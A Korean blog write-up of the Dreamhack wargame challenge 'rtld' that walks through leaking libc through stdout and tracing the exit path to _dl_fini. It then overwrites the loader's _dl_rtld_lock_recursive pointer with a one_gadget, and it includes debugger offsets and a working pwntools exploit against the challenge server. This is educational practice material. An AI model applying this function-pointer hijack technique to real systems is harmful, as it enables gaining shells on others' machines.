security/포너블 - dreamhack

[Dreamhack Wargame] rtld

민사민서 2023. 6. 22. 22:07

rtld = Return To LD file

 

서버 환경이 ubuntu16.04여서 docker로 가상 환경 구축 시도. Image build 계속 실패하길래

https://stackoverflow.com/questions/24991136/docker-build-could-not-resolve-archive-ubuntu-com-apt-get-fails-to-install-a : 이 사이트 참고해서 해결함

sudo docker build --network=host -t ubuntu1604 .

 

  • Partial RELRO   Canary found      NX enabled    PIE enabled 
  • _IO_2_1_stdout_ 주소를 통해 libc_leak 가능
  • 원하는 주소에 원하는 값을 '딱 한 번' 넣을 수 있음
  • pie_base leak할 방법 없으므로 GOT overwrite with getshell() 불가능

프로그램 종료 순서

1. main ret 시 __libc_start_call_main+128로 리턴

2. __GI_exit 호출(이 함수에서 프로그램이 최종 종료된다)

3. __GI_exit 함수를 따라가다 보면 __run_exit_handlers를 호출

4. 해당 함수는 exit_function 구조체 멤버 변수인 flavor 값에 따라서 함수를 호출하는데, 기본적으로는 로더 라이브러리 내부에 존재하는 _dl_fini 함수를 호출

5. glibc/elf/dl_fini.c 소스코드를 확인하니 __rtld_lock_lock_recursive 함수 포인터를 원가젯으로 덮으면 되겠다

void _dl_fini (void)
{

#ifdef SHARED
  int do_audit = 0;
 again:
#endif
  for (Lmid_t ns = GL(dl_nns) - 1; ns >= 0; --ns)
    {
      /* Protect against concurrent loads and unloads.  */
      __rtld_lock_lock_recursive (GL(dl_load_lock));
      unsigned int nloaded = GL(dl_ns)[ns]._ns_nloaded;
 // 이하 생략

exploit을 위한 각종 옾셋 구하기

  • ld_base - libc_base

pwndbg> p/x 0x7f13bf458000-0x7f13bf08e000
$1 = 0x3ca000

  • _rtld_global 구조체의 ld파일 내 offset

pwndbg> p/x 0x00007f4bcdec8040-0x7f4bcdca2000
$1 = 0x226040

  • _dl_rtld_lock_recursive 함수의 _rtld_global 구조체 내 offset

문제파일에 포함된 ld파일은 stripped file => 디버깅 심볼이 없어 분석 불가능

root@2d7dd84e9288:/home/rtld$ /lib/x86_64-linux-gnu/libc-2.23.so
GNU C Library (Ubuntu GLIBC 2.23-0ubuntu11.3) stable release version 2.23, by Roland McGrath et al.

라이브러리 세부 버전 확인 후 구글에 'Ubuntu GLIBC 2.23-0ubuntu11.3 libc6 dbg' 라고 검색하여 해당 버전의 libc6-dbg 패키지 다운로드 => GNU C 라이브러리의 디버깅 심볼을 포함하는 패키지이므로 분석 용이

https://www.ubuntuupdates.org/package/core/xenial/main/updates/libc6-dbg

하위 폴더의 ld-2.23.so 파일 분석

 

pwndbg> p &_rtld_global._dl_load_lock 
$2 = (__rtld_lock_recursive_t *) 0x226948 <_rtld_local+2312>
pwndbg> p &_rtld_global._dl_rtld_lock_recursive 
$3 = (void (**)(void *)) 0x226f48 <_rtld_local+3848>

  • 원가젯 주소

exploit 코드 

from pwn import *

# p = process("./rtld")
p = remote("host3.dreamhack.games", 23748)
libc = ELF("./libc-2.23.so")
ld = ELF("./ld-2.23.so")

p.recvuntil("stdout: ")
stdout = int(p.recvline()[:-1],16)
libc_base = stdout - libc.symbols['_IO_2_1_stdout_']

ld_base = libc_base + 0x3ca000
dl_rtld_lock_recursive = ld_base + 0x226040 + 3848 # _rtld_global+3848

one_gadgets = [0x45226, 0x4527a, 0xf03a4, 0xf1247]

p.sendlineafter("addr: ", str(dl_rtld_lock_recursive))
p.sendlineafter("value: ", str(libc_base+one_gadgets[1])) # 1, 3 된다

p.interactive()